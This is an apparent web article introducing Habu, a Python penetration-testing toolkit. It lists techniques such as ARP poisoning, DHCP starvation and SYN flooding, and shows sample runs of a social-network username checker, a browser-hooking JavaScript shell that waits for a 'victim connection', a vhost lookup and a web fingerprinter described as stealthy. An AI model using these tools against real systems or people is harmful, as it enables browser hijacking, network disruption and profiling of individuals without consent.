HABU – Network Penetration Testing Toolkit for Hackers and Pentesters

Habu is a python network hacking toolkit. This tool basic functions that help with some tasks for Ethical Hacking and Penetration Testing. Most of them are related to networking, and the implementations are intended to be understandable for who wants to read the source code and learn from that.

Some techniques implemented in the current version are:

• ARP Poisoning
• ARP Sniffing
• DHCP Discover
• DHCP Starvation
• LAND Attack
• SNMP Cracking
• Subdomains Identification
• SYN Flooding
• TCP Flags Analysis
• TCP ISN Analysis
• TCP Port Scan
• Username check on social networks
• Virtual Hosts Identification
• Web Technologies Identification

Also Read SQLMAP – Enumeration of Databases & Users from Vulnerable Web Forms

Habu Installation

Kali Linux:

You can install the package created for Kali Linux. See here

Python Package (PyPi):

Habu is on PyPi, so you can install it directly with pip:

$ pip3 install habu

habu.usercheck: Check username on social networks

This command checks if the given username exists on various social networks and other popular sites.

$ habu.usercheck portantier
{
    "aboutme": "https://about.me/portantier",
    "disqus": "https://disqus.com/by/portantier/",
    "github": "https://github.com/portantier/",
    "ifttt": "https://ifttt.com/p/portantier",
    "lastfm": "https://www.last.fm/user/portantier",
    "medium": "https://medium.com/@portantier",
    "pastebin": "https://pastebin.com/u/portantier",
    "pinterest": "https://in.pinterest.com/portantier/",
    "twitter": "https://twitter.com/portantier",
    "vimeo": "https://vimeo.com/portantier"
}

habu.jshell: JavaScript Shell that uses WebSockets

This is one of the most complex commands in Habu. When you start it, binds a port (default: 3333) and listen for HTTP connections. If receives a connection, sends a JavaScript code that opens a WebSocket that can be used to send commands to the connected browser.

You can write the commands directly in the shell, or use plugins, that are simply external JavaScript files.

Using habu.jshell you can completely control a web browser.

Note: The complete documentation of the module will be separated from the main documentation because this module has a lot of options and commands.

$ habu.jshell 
>>> Listening on 192.168.0.10:3333. Waiting for a victim connection.
>>> HTTP Request received from 192.168.0.15. Sending hookjs
>>> Connection from 192.168.0.15
$ _sessions
0 * 192.168.0.15:33432 Mozilla/5.0 (X11; Linux x86_64; rv:57.0) Gecko/20100101 Firefox/57.0
$ _info
{
    "user-agent": "Mozilla/5.0 (X11; Linux x86_64; rv:57.0) Gecko/20100101 Firefox/57.0",
    "location": "http://192.168.0.10:3333/",
    "java-enabled": false,
    "platform": "Linux x86_64",
    "app-code-name": "Mozilla",
    "app-name": "Netscape",
    "app-version": "5.0 (X11)",
    "cookie-enabled": true,
    "language": "es-AR",
    "online": true
}
$ document.location
http://192.168.0.10:3333/

habu.vhosts: Get vhosts of an IP address

This command uses Bing to query the websites hosted on the same IP address.

$ habu.vhosts www.telefonica.com
www.telefonica.com -> 212.170.36.79
[
    'www.telefonica.es',
    'universitas.telefonica.com',
    'www.telefonica.com',
]

habu.webid: Identify Web Technologies

This command uses Wappalyzer apps.json database to identify technologies used on a web application.

More info about Wappalyzer.

Note: This tool only sends one request. So, it’s stealth and not suspicious.

$ habu.webid https://woocomerce.com
{
    "Nginx": {
        "categories": [
            "Web Servers"
        ]
    },
    "PHP": {
        "categories": [
            "Programming Languages"
        ]
    },
    "WooCommerce": {
        "categories": [
            "Ecommerce"
        ],
        "version": "6.3.1"
    },
    "WordPress": {
        "categories": [
            "CMS",
            "Blogs"
        ]
    },
}